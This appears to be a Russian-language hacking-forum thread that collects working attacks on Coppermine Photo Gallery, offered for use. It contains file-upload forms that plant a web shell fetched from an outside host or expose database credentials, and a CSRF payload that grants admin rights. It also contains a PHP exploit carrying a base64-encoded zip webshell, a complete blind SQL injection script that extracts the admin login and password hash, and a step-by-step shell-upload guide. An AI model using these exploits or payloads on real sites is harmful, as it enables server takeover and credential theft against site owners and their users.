Coppermine Photo gallery - Remote PHP File Upload 1.4.19 PHP: <?php <html> <form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php" method=post> <input name="save" value=1> <input name="keysToSkip" value=1> <input name="_GET" value=1> <input name="_REQUEST" value=1> <input type=submit> </form> </html> This request will copy the database connection info and make it readable here: http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt This attack works with allow_url_fopen=Off <html> <form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt" method=post> <input name="save" value=1> <input name="keysToSkip" value=1> <input name="_GET" value=1> <input name="_REQUEST" value=1> <input type=submit> </form> </html> ?>
Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC csrf-инъекция в BB-теге img (комментарии к фото): Code: [img*]http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img*] где [ID]- id атакующего как только администратор посетит страницу с кодом, атакующий получит администраторские привилегии. Так-то! //by Juri Gianni aka yeat - staker[at]hotmail[dot]it
Как я могу залить шелл ? Привет, Я имею admin на Coppermine Photo Gallery 1.4.14 modpack v1 (stable). Как я могу залить шелл ?
Coppermine Photo Gallery <= 1.4.22 Несколько уязвимостей, работающих только при условиях: register_globals = On magic_quotes_gpc = Off В том числе SQL-инъекция при условиях возможности региться И blind-sql при условии, что разрешена "ecard logging system" (по дефолту нет) Уязвимости Сплойт, использующий эти уязвимости
Открываем файл include/init.inc.php: Code: $HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => '''); $keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST'); if (get_magic_quotes_gpc()) { if (is_array($_POST)) { foreach ($_POST as $key => $value) { if (!is_array($value)) $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } if (is_array($_GET)) { foreach ($_GET as $key => $value) { unset($_GET[$key]); $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } if (is_array($_COOKIE)) { foreach ($_COOKIE as $key => $value) { if (!is_array($value)) $_COOKIE[$key] = stripslashes($value); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } if (is_array($_REQUEST)) { foreach ($_REQUEST as $key => $value) { if (!is_array($value)) $_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } } else { if (is_array($_POST)) { foreach ($_POST as $key => $value) { if (!is_array($value)) $_POST[$key] = strtr($value, $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } if (is_array($_GET)) { foreach ($_GET as $key => $value) { unset($_GET[$key]); $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } if (is_array($_COOKIE)) { foreach ($_COOKIE as $key => $value) { if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } if (is_array($_REQUEST)) { foreach ($_REQUEST as $key => $value) { if (!is_array($value)) $_REQUEST[$key] = strtr($value, $HTML_SUBST); if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key); } } } Теперь смотрим файл coppermine.inc.php: Code: $sessioncookie = $_COOKIE[$this->client_id]; // Create the session id by concat(session_cookie_value, client_id) $session_id = $sessioncookie.$this->client_id; ...... // Check for valid session if session_cookie_value exists if ($sessioncookie) { // Check for valid session $sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");'; Используем експлоит: Code: Coppermine Photo Gallery SQL注射+命令执行漏洞 漏洞影响 version < 1.4.16 欢迎访问 http://www.80sec.com 漏洞发现 jianxin#80sec.com 用法: php.exe exp.php www.80sec.com /cpg1416/ 获得webshell地址在 http://www.80sec.com/cpg1416/plugins/loveshell.php 密码 shell Good Luck :) +------------------------------------------------------------------+ "); ini_set("max_execution_time",0); error_reporting(7); $blogpath="$argv[2]"; $server="$argv[1]"; $cookie=''; $evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA="; $evilzip=base64_decode($evilzip); $data=<< -----------------------------12345671234567 Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip" Content-Type: application/x-zip-compressed $evilzip -----------------------------12345671234567 www_80sec_com; $temp=send('',"index.php"); preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre); $cookiepre=$cookiepre[1][0]; if($cookiepre){ echo "Make Evil Data!\t\r\n"; $cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;'); } echo "Make Evil Shell!\t\r\n"; send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567'); $shell="http://$server".$blogpath."plugins/loveshell.php"; echo "Look at $shell :) \r\n"; echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n"; function send($cmd,$script,$type='') { global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip; $type ? $content=$type : $content="application/x-www-form-urlencoded"; $path=$blogpath."$script"; $message = "POST ".$path." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Referer: http://".$server.$path."\r\n"; $message .= "Content-Type: $content\r\n"; $message .= "User-Agent: ".$useragent."\r\n"; $message .= "Host: ".$server."\r\n"; $message .= "Content-length: ".strlen($cmd)."\r\n"; $message .= "Connection: Keep-Alive\r\n"; $message .= "Cookie: ".$cookie."\r\n"; $message .= $evilip."\r\n"; $message .= $cmd."\r\n"; //echo $message; $fd = fsockopen( $server, 80 ); fputs($fd,$message); $resp = " "; while($fd&&!feof($fd)) { $resp .= fread($fd,1024); } fclose($fd); $resp .=" "; if($debug) {echo $cmd;echo $resp;} //echo $resp; return $resp; } ?>
Coppermine Photo gallery - Remote PHP File Upload Coppermine Photo gallery - Remote PHP File Upload для версии 1.3.3 Code: <html> <form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php" method=post> <input name="save" value=1> <input name="newimage" value="shell.txt"> <input name="HTTP_GET_VARS" value=1> <input type=submit> </form> </html> http://attack.com/shell.txt - веб шелл, будет доступен по адресу http://cpg133/albums/shell.php нужны права администратора.
может конечно и не актуально уже но может и пригодиться пределаный сполит от rst использующий sql в куках полностью рабочий даже на тех базах где /* уже не проходит как коментарии Code: <?php ############################################# # RST/GHC PRIVATE # CPG 1.4.10 sql injection exploit # Date: 17.05.07 # bug: SQL injection in private album # function through array indexes with COOKIE ############################################# error_reporting (E_ERROR); ini_set("max_execution_time",0); intro(); if ($argc < 4 ){ print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n"; print " <host> - hostname\n"; print " <dir> - web dirname \n"; print " <force> - force mode - '0' - for Off or \"album number\" for force mode On \n"; print " example: " . $argv[0] . " coppermine.site photo/ "; credits(); } ############################################### /* FUNCTIONS */ ############################################## if (!function_exists(str_split)){ ### for PHP4 << FIX function str_split($str) { $str_array=array(); $len=strlen($str); for($i=0;$i<$len;$i++) $str_array[]=$str{$i}; return $str_array; } } function toSql($str){ $a_str = str_split ($str); $s_str = '0x'; foreach ($a_str as $val) { $s_str .= sprintf("%X",ord($val)); } return $s_str; } function toCookie ($str) // ФОРМИРУЕТ ОБЩИЙ SQL ЗАПРОС ДЛЯ КУКОВ { $str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password#"; //ПЕРВЫЙ ЗАПРОС $c_str=array(0=>"8", $str=>"1"); $c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies']; return $c_str; } function getAlbum($text){ if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) { return intval($match[0]); } else return 0; } function getCookie($text){ if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];} else {$cookie = '';} return $cookie; } function getPrefix($text){ if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]); else return false; } function toPage($page){ $pattern = "/(?<=HTTP).*(?=<html)/s"; $replacement = ''; $page = preg_replace($pattern,$replacement,$page); /* Let's count images on the page */ if (preg_match_all("/<img/", $page, $match)) return count($match[0]); else return 0; } function sendit($page, $method, $cookie=''){ //ФУНКЦИЯ ЗАПРОСА global $argv; $data =''; $host = $argv[1]; $page = $argv[2] . $page; $referer = 'http://'.$host; $user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)'; $result = ''; $sock = fsockopen($host, 80, $errno, $errstr, 50); if (!$sock) die("$errstr ($errno)\n"); fputs($sock, "$method /$page HTTP/1.0\r\n"); fputs($sock, "Host: $host" . "\r\n"); fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($sock, "Content-length: " . strlen($data) . "\r\n"); fputs($sock, "Referer: $referer". "\r\n"); fputs($sock, "User-Agent: $user_agent" . "\r\n"); fputs($sock, "Accept: */*\r\n"); if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");} fputs($sock, "\r\n"); fputs($sock, "$data\r\n"); fputs($sock, "\r\n"); while (!feof($sock)) { $result .= fgets ($sock,8192); } fclose($sock); //print $result; ### DEBUGER return $result; } function credits(){ echo ' +==========================================+ + Coded: 17.05.07 * Bug found in Feb.2007 + +==========================================+ '; exit; } function intro(){ echo ' * P R I V A T E * +==========================================+ | RST/GHC Coppermine SQL injection exploit | +==========================================+ | >>> vulnerable: CPG 1.4.10 stable <<< | +------------------------------------------+ '; } ################################################## ################### ### HACK FUNCTIONS ##### #### ### what to find: ## user_name user_password FROM cpg1410_users WHERE user_id=1 ################################################## ################## function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn - position { global $argv; $tprefix = 'cp'; // ПРЕФИКС БАЗЫ $query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond; //АРГУМЕНТ ВТОРОГО ЗАПРОСА СОБСТВЕННО ПРОВЕРКА СИМВОЛА //$sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '#'; // ВТОРОЙ ЗАПРОС ОРИГИНАЛ //echo $sql; ###DEBUG $sql = '0) UNION SELECT IF ('.$query.','.$GLOBALS['album'].',0)#'; // ВЕCЬ ЗАПРОС ПОЛНОСТЬЮ В СБОРЕ return toCookie($sql); } function blind($param, $sn, $fmin, $fmax) { if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;} $compare = intval($fmin + ($fmax-$fmin)/2); $crcheck = ">". $compare; if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) { return blind($param, $sn, $compare, $fmax); } else { return blind($param, $sn, $fmin, $compare+1); } } function crack($param, $cmin, $cmax, $sn) { for ($i=$cmin; $i <=$cmax; $i++){ $crcheck = '='.$i; $sqlCookie = makeExpl($param, $crcheck ,$sn); if (check($sqlCookie) == 1){print chr($i); return 1;} } return 0; } function check($sqlCookie){ global $page, $etalon; $testPage = toPage(sendit ($page, 'GET', $sqlCookie)); if ($testPage < $etalon) return 1; else return 0; } function exploit($param){ echo "\nLet's define admin's ". $param . "\n"; $min = 48; # 0 // ДИАПАЗОН ПЕРЕБОРА ЗНАЧЕНИЙ В ЛОГИНЕ И ПАРОЛЕ $max = 122; # z $sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1); // ПОДСТАНОВКА ПРОВРКИ СОВПАДЕНИЯ С ЗАДАНОЙ БУКВОЙ if (check($sql_cookies) == 0) {echo 'failed...'; return;} $sn=1; while(blind($param,$sn, $min, $max) !== 0) { $sn++; if ($sn > 32) return; } } ################################################## ############# ## START E X P L O I T C O D E ################################################## ########### echo ' Exploiting: [+] target: '. $argv[1].'/'.$argv[2].' '; $page = 'thumbnails.php'; $firstReply = sendit($page, 'GET'); //ВЫЗОВ ЗАПРОСA $album = $argv[3]; $page = 'thumbnails.php?album='.$album; // ПОЛОЖИЛИ НОМЕР АЛЬБОМА $GLOBALS['album'] = $album; echo "[+] Valid album number: ".$album . "\n"; $GLOBALS['cookies'] = getCookie($firstReply); ### get cookie from host $prefix = getPrefix($GLOBALS['cookies']); ### get cookie prefix echo "[+] Cookie prefix: " . $prefix . "\n"; $GLOBALS['prefix']=$prefix; $etalon = toPage(sendit ($page, 'GET', $c_cookies)); // ЗАПРОС ДЛЯ НАХОЖДЕНИЯ КО-ЛВО КАРТИНОК НА СТРАНИЦЕ ПО ФАКТУ ТЕГОВ <img // ВСЯ КОНФИГУРАЦИЯ СОБРАНА //$first_sql = '0) UNION SELECT '.$album.' AND 1=1#'; // 2 ВЛОЖЕНЫЙ ЗАПРОС ПРОБНЫЙ ТЕСТ ОРИГИНАЛ $first_sql = '0) UNION SELECT IF(1=1,'.$album.',0)#'; // 2 ВЛОЖЕНЫЙ ЗАПРОС ПРОБНЫЙ ТЕСТ $first_cookie = toCookie($first_sql); // ДЛЯ ПРОВЕРКИ УЯЗВИМОСТИ if (check($first_cookie) == 0) {echo "exploit failed_kartinki"; credits();} ### if album is still visible - site is unvulnerable exploit('name'); exploit('password'); credits(); ?> # milw0rm.com [2008-01-22]
Некропостинг конечно, но вдруг кому пригодится. Вот гайд по заливке шелла на cpg (Нужны права админа): 1)Подключаемся к базе и топаем в таблицу cpgXXx_filetypes и там меняем любое расширение на php 2)Потом идем в таблицу cpgХХx_config и в конце allowed_doc_types прописываем \php 3)Далее от имени админа заливаем шелл в любую галлерею. 4)ВАУЛЯ! Шелл залит. Заходим в просмотр залитого файла и открываем его в новой вкладке, вот и шелл Проверял на cpg1.5.20